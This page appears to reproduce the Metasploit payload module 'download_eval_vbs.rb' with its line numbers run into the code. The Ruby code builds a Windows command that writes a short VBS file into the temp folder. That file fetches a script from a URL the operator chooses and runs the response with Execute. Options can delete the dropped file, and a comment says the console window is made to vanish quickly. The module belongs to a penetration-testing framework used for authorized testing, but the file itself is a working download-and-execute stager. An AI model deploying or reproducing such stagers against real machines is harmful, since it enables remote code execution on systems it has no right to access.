Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/windows/download_eval_vbs.rb
Views: 11777
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Windows Executable Download and Evaluate VBS',16'Description' => 'Downloads a file from an HTTP(S) URL and executes it as a vbs script.17Use it to stage a vbs encoded payload from a short command line. ',18'Author' => 'scriptjunkie',19'License' => BSD_LICENSE,20'Platform' => 'win',21'Arch' => ARCH_CMD,22'Handler' => Msf::Handler::None,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'cmd',25'RequiredCmd' => 'wscript',26'Payload' =>27{28'Offsets' => { },29'Payload' => ''30}31))3233register_options(34[35OptString.new('URL', [ true, "The pre-encoded URL to the script" ]),36OptBool.new('INCLUDECMD', [ true, "Include the cmd /q /c", false ]),37OptBool.new('INCLUDEWSCRIPT', [ true, "Include the wscript command", false ]),38OptBool.new('DELETE', [ true, "Delete created .vbs after download", false ])39])40end4142def generate(_opts = {})43return super + command_string44end4546def command_string47# Keep variable names short.48vbsname = Rex::Text.rand_text_alpha(1+rand(2))49xmlhttpvar = Rex::Text.rand_text_alpha(1+rand(2))5051command = ''52command << "cmd.exe /q /c " if datastore['INCLUDECMD']53command << "cd %tmp%&echo Set #{xmlhttpvar}=CreateObject(\"Microsoft.XMLHTTP\"):"+54"#{xmlhttpvar}.Open \"GET\",\"#{datastore['URL']}\",False:"+55"#{xmlhttpvar}.Send:"+56"Execute #{xmlhttpvar}.responseText"57command << ":CreateObject(\"Scripting.FileSystemObject\").DeleteFile \"#{vbsname}.vbs\"" if datastore['DELETE']5859# "start #{vbsname}.vbs" instead of just "#{vbsname}.vbs" so that the console window60# disappears quickly before the wscript libraries load and the file downloads61command << " >#{vbsname}.vbs"+62"&start "63command << "wscript " if datastore['INCLUDEWSCRIPT']64command << "#{vbsname}.vbs"65end66end676869